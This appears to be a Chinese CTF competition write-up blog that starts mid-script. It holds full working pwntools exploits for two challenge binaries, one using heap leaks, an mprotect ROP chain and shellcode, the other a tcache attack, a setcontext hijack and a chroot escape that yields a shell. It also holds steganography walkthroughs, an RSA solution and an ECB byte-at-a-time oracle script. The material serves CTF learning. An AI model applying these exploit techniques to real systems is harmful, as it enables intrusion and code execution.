sys.setdefaultencoding('utf-8')
from pyDes import *
from binascii import b2a_hex, a2b_hex
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'info'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
ctx.binary = './pwn'
ctx.remote = ("62.234.32.102", 10000)
def add(idx,size):
sla('ice',0)
sla('where would you like to put',idx)
sla('how long do your want to input',size)
def delete(idx):
sla('ice',1)
sla('which one do you want to delete',idx)
def show(idx):
sla('ice',2)
sla('which one do you want to show',idx)
ru('is :\n')
def edit(idx,content):
sla('ice',3)
sla('which one do you want to change',idx)
sa('now you can change your diary',content)
def change(idx,content):
sla('ice',4)
sa('index',idx)
sa('IV',content)
def read_shellcode():
ascii = ""
with open('shellcode','r') as f:
data = f.readlines()
data = data[0]
data = str(data)[1:-2]
odom = data.split(',')
ascii = map(int,odom)
#return ascii
x86_shellcode = ""
for i in range(len(ascii)):
x86_shellcode += chr(ascii[i])
return x86_shellcode
def decrypto_data(data):
with open('cipher','w') as f:
f.write(data)
payload = './cbc '
os.system(payload)
sleep(1)
cleartext = ""
with open('plain','r') as f:
cleartext = f.read(8)
return cleartext
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
rs('remote')
KEY = "\0\0\0\0\0\0\0\0"
IV = "\0\0\0\0\0\0\0\0"
k = des(KEY, CBC, IV, pad=None, padmode=PAD_PKCS5)
ru('gift :')
heap_leak = int(r(4),16)
#leak libc
add(0,0x38)
add(1,0x38)
add(2,0x38)
add(3,0x38)
add(4,0x38)
add(15,0x38)
change(0x80000000,'\x00'+chr(heap_leak+1)+'\n')
edit(15,p64(0xc1)*2+'\n')
delete(0)
add(5,0x38)
show(1)
data = decrypto_data(r(8))
libc = uu64(data[:6])
#print hexdump(data)
libc_base = libc - 0x3c4be8
#dbg()
print 'libc_base = ' + hex(libc_base)
#leak stack
environ = libc_base + 0x3c6f38
print 'environ = ' + hex(environ)
change(0x80000000,p64(environ)+'\n')
#dbg()
show(15)
data = decrypto_data(r(8))
stack = uu64(data[:6])
main_ret = stack - 0xf0
print 'main_ret : ' + hex(main_ret)
libc_leak_heap = libc_base + 0x3c4b80
#leak heap
change(0x80000000,p64(libc_leak_heap)+'\n')
#dbg()
show(15)
data = decrypto_data(r(8))
heap_base = uu64(data[:4]) - 0x140
print 'heap_base : ' + hex(heap_base)
lg('heap_base',heap_base)
#raw_input()
#get shell
#dbg()
edit(4,'./flag/asdad/wer/po/tr/flag\n')
# edit(4, './flag.txt\n')
payload = 'python shellcode.py '+str(heap_base)
os.system(payload)
shellcode = read_shellcode()
pop_rdx = libc_base + 0x1b92
pop_rsi = libc_base + 0x202f8
pop_rdi = 0x021112 + libc_base
mprotect = 0x101830 + libc_base
change(0x80000000,p64(main_ret)+'\n')
payload = p64(pop_rdi) + p64(heap_base) + p64(pop_rsi) + p64(0x1000) + p64(pop_rdx) + p64(7) + p64(mprotect)
edit(15,payload)
change(0x80000000,p64(main_ret+0x38)+'\n')
edit(15,p64(heap_base+0x150)+'\n')
#dbg()
edit(1,shellcode[:0x20]+'\n')
change(0x80000000,p64(heap_base+0x170)+'\n')
#dbg()
edit(15,shellcode[0x20:]+'\n')
#dbg()
sla('ice',5)
irt()
还有一个点是flag的位置,如果直接执行cat flag拿到的是假flag,需要自己探测flag目录。
shellcode,DES_CBC加解密,查找flag的脚本【也可以手动】就不放了 自己尝试。
jailbreak
通过off by one实现tcache attack,修改money。从而获得dup的fd,通过劫持tcache结构体(中间可能需要修复tcache_num),劫持__free_hook为setcontext,执行chdir(fd)来实现chroot逃逸。
# -*- coding: utf-8 -*-
import sys
import os
from time import *
from pwn import *
#log_level['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = b"CRITICAL"
remote_ip = b'127.0.0.1'
remote_port = 9999
binary_file = './%s' % "jailbreak"
#context.terminal = ['tmux', 'splitw', '-h']
local_libc_file = b'./libc-2.27.so'
remote_libc_file = b''
def exploit(sh,remote = False,awd = False,awd_binary_file = ''):
global binary_file,local_libc_file,remote_ip,remote_port,local_libc_file,remote_libc_file
elf = context.binary
if (awd or remote) and remote_libc_file != "":
lib = ELF(remote_libc_file)
else:
lib = elf.libc if local_libc_file == b"" else ELF(local_libc_file)
s = lambda data :sh.send(str(data))
sa = lambda delim,data :sh.sendafter(str(delim), str(data))
sl = lambda data :sh.sendline(str(data))
sla = lambda delim,data :sh.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :sh.recv(numb)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
irt = lambda :sh.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
ru7f = lambda :u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
ruf7 = lambda :u32(sh.recvuntil("\xf7")[-4:].ljust(4,b'\x00'))
lg = lambda data :log.success(data)
def add(name_size,description_size):
sla("Action:","B")
sla("Item name size:",str(name_size))
sla("Item description size:",str(description_size))
def edit(idx,name,description):
sla("Action:","M")
sla("idx:",str(idx))
if name != "":
sla("Modify name?[y/N]","y")
sa("new name:",str(name))
else:
sla("Modify name?[y/N]","n")
if description != "":
sla("Modify description?[y/N]","y")
sa("new description:",str(description))
else:
sla("Modify description?[y/N]","n")
def free(idx):
sla("Action:","S")
sla("idx:",str(idx))
def show():
sla("Action:","W")
def backdoor():
sla("Action:","\xFF")
sla("Action[y/N]",'y')
add(0x18,0x18)
add(0x18,0x18)
edit(0,'\x11' * 0x18 + "\n",'\x12' * 0x18 + "\n")
free(0)
add(0x18,0x18)
show()
ru("Item name: ")
heap_base = uu64(r(6)) - 0x280
edit(0,'\x13' * 0x18 + "\n",'\x14' * 0x18 + p8(0x41))
free(0)
add(0x18,0x29)
free(1)
edit(0,'\x13' * 0x18 + "\n", '\x14' * 0x18 + p64(0x21) + p64(heap_base + 0x250 + 0x10) + "\n" )
free(0)
add(0x18,0x18)
add(0x18,0x18)
edit(1,'\x15' * 0x18 + "\n",p64(0xcafecafe) + "\n")
backdoor()
ru("secret:")
dir_fd = int(ru("\n").strip(),10)
add(0x28,0x28)
add(0x28,0x28)
edit(2,'\x16' * 0x28 + p8(0x51),"\n")
free(2)
add(0x28,0x48)
free(3)
edit(2,'\x16' * 0x28 + "\n",'a' * 0x28 + p64(0x31) + p64(heap_base + 0x010) + "\n")
add(0x28,0x28)
add(0x28,0x38)
edit(4,p64(0x0800000000000000) + "\n",p64(0xcafecafecafecafe) + "\n")
add(0x38,0x38)
add(0x38,0x38)
edit(5,'\x15' * 0x38 + p8(0x91),'\x16' * 0x18 + '\n')
edit(6,'\n',p64(0) + p64(0x31) + "\n")
free(5)
add(0x38,0x38)
show()
ru("Item idx: 5")
ru("description: ")
main_arena = uu64(r(6)) - 224
libc = main_arena - 0x10 - lib.symbols[b'__malloc_hook']
lib.address = libc
system = lib.symbols[b'system']
binsh = lib.search(b"/bin/sh\x00").next()
__free_hook = lib.symbols[b'__free_hook']
__malloc_hook = lib.symbols[b'__malloc_hook']
pop_rdi_ret = libc + 0x000000000002155f
pop_rsi_ret = libc + 0x0000000000023e8a
pop_rdx_ret = libc + 0x0000000000001b96
pop_rdx_rsi_ret = libc + 0x0000000000130889
ret = libc + 0x00000000000008aa
add(0x38,0x38)
free(6)
edit(7,p64(heap_base + 0x60) + "\n",p64(0xcafecafecafecafe) * 4 + p64(0x3c0 + heap_base) + p64(ret) + "\n")
add(0x38,0x48)
add(0x38,0x48)
edit(8,p64(0xdeadbeefdeadbeef) + "\n",p64(lib.sym['__free_hook']) + "\n")
edit(4,p64(0x0800000000010000) + "\n",p64(0xcafecafecafecafe) + "\n")
add(0x38,0x48)
edit(9,p64(lib.sym['setcontext'] + 53) + "\n",'\n')
edit(5,p64(pop_rdi_ret) + p64(0) + p64(pop_rdx_rsi_ret) + p64(0x1000)+ p64(heap_base + 0x3b0) + p64(lib.sym['read'])+"\n",'\n')
free(7)
payload = 'a' * 64
payload += p64(pop_rdi_ret) + p64(dir_fd)
payload += p64(lib.sym['fchdir'])
payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(ret)
payload += p64(system)
sl(payload)
sleep(0.5)
sl("echo deadbeef && cd ../ && cat flag.txt")
ru("deadbeef")
irt()
def CTF_exploit(argv):
global remote_ip,remote_port,binary_file
argv_len = len(argv)
context.log_level = b"DEBUG"
context.binary = binary_file
if argv_len == 1:
sh = process(binary_file)
exploit(sh)
return
elif argv_len == 3:
sh = remote(argv[1],argv[2])
exploit(sh,remote = True)
return
else:
sh = process(binary_file)
exploit(sh)
if __name__ == b"__main__":
CTF_exploit(sys.argv)
Misc
耗子尾汁
1. 2.9M的gif图
binwalk分离后得到2^4_2^5_2^6.mp4,flag.txt
其中flag.txt当然是假的
2. 2^4_2^5_2^6.mp4
再次binwalk分离得到有密码的压缩包
但没有提示密码相关信息,爆破可能性不大,所以逐帧看mp4文件得到c2lnbl9pbg==
base64解码后得到”sign_in”即为压缩包密码
3. 19_20.txt
解压后看到一长串字符串 拿去解base64后还是一长串奇奇怪怪的东西
想到mp4文件的名字很奇怪”2^4_2^5_2^6” 可以猜到base64,base32,base16依次解开后即为txt文件内提示的最后一层单表替换密码
txt文件的名字”19_20” 为仿射加密的两个参数a,b的值,解开即为flag字符串
按题目要求的格式改为 flag{you_have_signed_in_successfully} 即可
弱弱说一句,这道题的提示全在文件名
2^4_2^5_2^6对应base16.32.64编码,19_20对应仿射的两个参数
然后可以解得flag
找找吧
下载附件是一个压缩包,解压发现需要密码,把压缩包拖到十六进制查看器里,最后有解压密码,解压后有两个文件,一个MP3文件,一个压缩包,压缩包有密码,所以只能检测MP3文件。
MP3文件可以正常播放,也可能用一些播放器无法播放,会显示一张图片,直接将mp3文件放入audacity中会导致无法正常加载,因此将MP3文件放入十六进制查看器,由文件头可以看出是rar文件,将后缀名改为rar,解压,(如果是adobe的audacity不需要这一步)得到一张图片和一个MP3文件。图片里写明没用,所以不管图片,MP3文件播放,是首看似很正常的歌,但是如果将进度条拖到最后会发现有不正常的声音,用audacity打开,发现音频最后有不正常的音频。
放大后发现可能是摩斯密码,解密后得到字符串,去解压缩包,发现密码错误,观察字符串格式,可能是md5,解密后得到真密码,解压压缩包,得到一个gif文件和hint.png文件,gif文件可以看到一个字符串,可以用各种工具逐帧查看
png文件很明显少了底下的一部分,在十六进制查看器中更改图片高度,具体更改位数百度,后得到提示Veni,vidi,vici,
百度发现这是凯撒大帝的名言,因此得知是凯撒密码加密,而位移的位数等于加密后的flag在gif中的帧数即九位,也可以一位一位试出来,最终得到flag。
来猜谜了
压缩包打开后是一个 png 图片
关键信息:老色批,首字母是lsp,应该可以联想到lsb隐写,用stegslove将数据提取出来。
从文件头可以看出隐写进去的是zip文件,直接保存为zip就行了。不过也有师傅是直接用binwalk分离出来,然后将文件修补好的。
分离出的压缩包打开后有一个 mi.jpg 和一个流量数据包。
用wireshark打开流量包可以看到是usb协议,且leftover capture data域的数据长度为八个字节,所以可以判断出是键盘流量包。在kali中用tshark命令将leftover capture data域的数据提取出来。
然后就可以直接用键盘流量分析的脚本把敲击了哪些键分析出来,网上这种脚本很多,我就这不发了,嘿嘿。
得到的字符串是:AG DX AG DX AG DX
这是一串用ADFGX编码方式加密的字符串
通过对照表就可以得到明文: gogogo
然后就剩mi.jpg了,flag是隐写在mi.jpg中的,隐写方式是outguess隐写,gogogo就是密钥。其实题目名和题目说明都有猜,这就是在提示隐写方式。直接用工具把flag分离出来就行了
套娃
我的题确实简单队友把我想出得先出了,没法知识点不可能重复把。唉挺难受得把想在bash里去藏key得结果有得比赛先出了。唉我背锅把出简单
一个xlsx文件,直接改后缀为zip,解压得到一个xlsx和一个RC4data.txt,
xlsx文件在改后缀为zip解压得一个xlsx文件和一个加密得zip文件
在xlsx文件尾可以找到压缩包密码解压得到密钥
Crypto
happy
#exp.happy
#python3
import binascii
import gmpy2
from z3 import *
s = Solver()
p=Int('p')
q=Int('q')
s.add(q+q*p**3 == 1285367317452089980789441829580397855321901891350429414413655782431779727560841427444135440068248152908241981758331600586)
s.add(p*q+q*p**2 ==1109691832903289208389283296592510864729403914873734836011311325874120780079555500202475594)
if s.check() == sat:
print(s.model())
n=0x989f5774c6f199031dc64d5aad7907665ea5e03cde2d74da21
e=0x872a335
c=0x7a7e031f14f6b6c3292d11a41161d2491ce8bcdc67ef1baa9e
p = 1158310153629932205401500375817
q = 827089796345539312201480770649
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(binascii.unhexlify(hex(m)[2:].strip("L")))
Yusa的密码学课堂—CBC第一课
- 这一题的考点是CBC的字节翻转,需要对CBC模式具有一定了解
可见在解密时是先进行AES解密,随后异或iv(或者前一组密文)才得到明文。
- 在这一题中,我们的用户名在二组(除去iv),所以在第二次交互我们修改第一组密文的对应字节,就可以让用户名对应的字节翻转。
- 改了第一组密文的一个字节后,解密时整个明文会乱掉,不满足
”yusa”*4
的条件,对此我们需要最后一次交互改整个iv,计算规则就是:原来的iv^第一组明文(乱)^“yusa”*4
Yusa的密码学课堂—ECB
1.由于是ECB的模式,所以当我们输入十五个’0’后,服务会将十五个’0’+flag
加密,而此时第一组就是十五个’0’和flag的第一个字符。即,返回的明文的第一组是’0’*15 + flag[0]
的密文。
2.我们遍历0-255,发送’0’*15+chr(i)
,看返回的密文是不是和最初获得的密文的第一组一致,如果一致,那么此时的chr(i)就是flag的第一位。
3.有了第一位我们就可以发送’0’*14+flag[0]
过去,此时返回的第一组密文就是’0’*14+flag[0]+flag[1]
的密文了,我们继续用第2步的方法就可以恢复flag[1]了。
4.如此循环往复,逐位爆破flag。
def exp():
sh = remote("0.0.0.0","9999")
pre="0"*47
flag=""
for block in range(41):
#发送填充,泄露一位flag,并获取密文
sh.recvuntil("Amazing function: ")
sh.sendline(pre.encode('hex'))
target = sh.recvuntil("\n")[:-1][64:96]
for i in range(256):
#遍历字符,找到与获取密文一致时的情况时,即得到一位明文
tmp = '0'*(47-block)+flag+chr(i)
sh.recvuntil("Amazing function: ")
sh.sendline(tmp.encode('hex'))
now = sh.recvuntil("\n")[:-1]
if now[64:96] == target:
flag += chr(i)
#修改填充
pre = pre[:-1]
break
return flag[7:-2]
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!